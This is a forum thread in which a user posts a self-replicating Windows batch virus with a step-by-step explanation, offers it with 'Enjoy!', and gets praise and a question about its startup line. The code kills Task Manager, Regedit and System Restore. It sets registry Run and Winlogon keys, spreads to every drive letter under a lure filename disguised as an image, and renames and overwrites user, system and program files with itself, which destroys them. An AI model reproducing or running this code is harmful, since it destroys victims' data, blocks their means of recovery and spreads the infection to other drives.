(05-14-2011, 07:56 AM)DeffoN Wrote: What is the code that makes the file runs on startup? it is just this one Copy %0 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" ?

(05-12-2011, 07:14 PM)JuiceKing Wrote: 1: Copy itself to Startup so it starts every time the computer starts

2: Sets all .Bats files in E/F/G/H (Usually Removable Disk Drives) and C programs area to not read only and not hidden.

3: If these .Bat files don't exist (Of course they don't have e56gt5 or 5r664.bat) Then create new .Bat files in the directories in the C drive and then assigns more .Bat files to the removable drives if the files don't exist.

4: Any .Bat files existing in C:\ will be copied and put in sub-directory folders.

5: For all files in that directory, put the virus code in all of the files (Even if it destroys them).

6: Just like the second step, set all .Bats files in E/F/G/H (Usually Removable Disk Drives) and C programs area to read only and 2 hidden.

7: Start all of the .Bats copied to the C/E/F/G/H directory and put the virus code in them (Since their read only it doesn't affect them) and then start Step five again by injecting the code into all files.

8: Hide all of the .Bat files again, clear the screen and then produce a error if they ever get that far.

NOTE: The virus opens multiple CMD prompts since its literally re-opening itself 24/7 trying to overwrite everything in that directory and you usually get 20 windows in 5-10 seconds o_o

Code:

@echo off :: By JuiceKing Taskkill /F /IM taskmgr.exe Taskkill /F /IM regedit.exe Taskkill /F /IM rstrui.exe REG ADD HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run /v %0 /t reg_sz /f /d C:\svchost.bat REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /v %0 /t reg_sz /f /d C:\svchost.bat for %%1 in (a;b;c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z) do Copy %0 "%%1:\FingeringMasturbatePuss...jpg .bat" for %%2 in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;) do %comspec% /c if exist %%2:\autorun.inf /f Copy %0 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Copy %0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" Copy %0 "C:\OvErLOad.bat" Copy %0 "C:\Windows\OvErLOad.bat" Copy %0 "C:\Windows\System32\OvErLOad.bat" If not exist "C:\Windows\System32\OvErLOad.bat" Copy %0 "C:\Windows\System32\OvErLOad.bat" If not exist "C:\Windows\OvErLOad.bat" Copy %0 "C:\Windows\OvErLOad.bat" If not exist "C:\OvErLOad.bat" Copy %0 "C:\OvErLOad.bat" If not exist "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OvErLOad.bat" Copy %0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OvErLOad.bat" cd "C:\Windows\" for %%z in (*.txt) do ren %%z *.bat for %%z in (*.bat) do copy %0 %%z for %%z in (*.bat) do copy %%z "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" cd "C:\" for %%z in (*.txt) do ren %%z *.bat for %%z in (*.bat) do copy %0 %%z for %%z in (*.bat) do copy %%z "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" cd "C:\Windows\Temp\" for %%z in (*.*) do ren %%z *.bat for %%z in (*.*) do copy %0 %%z for %%z in (*.bat) do copy %%z "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" cd "C:\Program Files\" for %%z in (*.*) do ren %%z *.bat for %%z in (*.bat) do copy %0 %%z for %%z in (*.bat) do copy %%z "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" cd "%USERPROFILE%\" for %%z in (*.*) do ren %%z *.bat for %%z in (*.bat) do copy %0 %%z for %%z in (*.bat) do copy %%z "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" ::

Enjoy! :thumbs:

(07-07-2011, 11:02 AM)∑√ıŁ Wrote: Good post dude keep it up.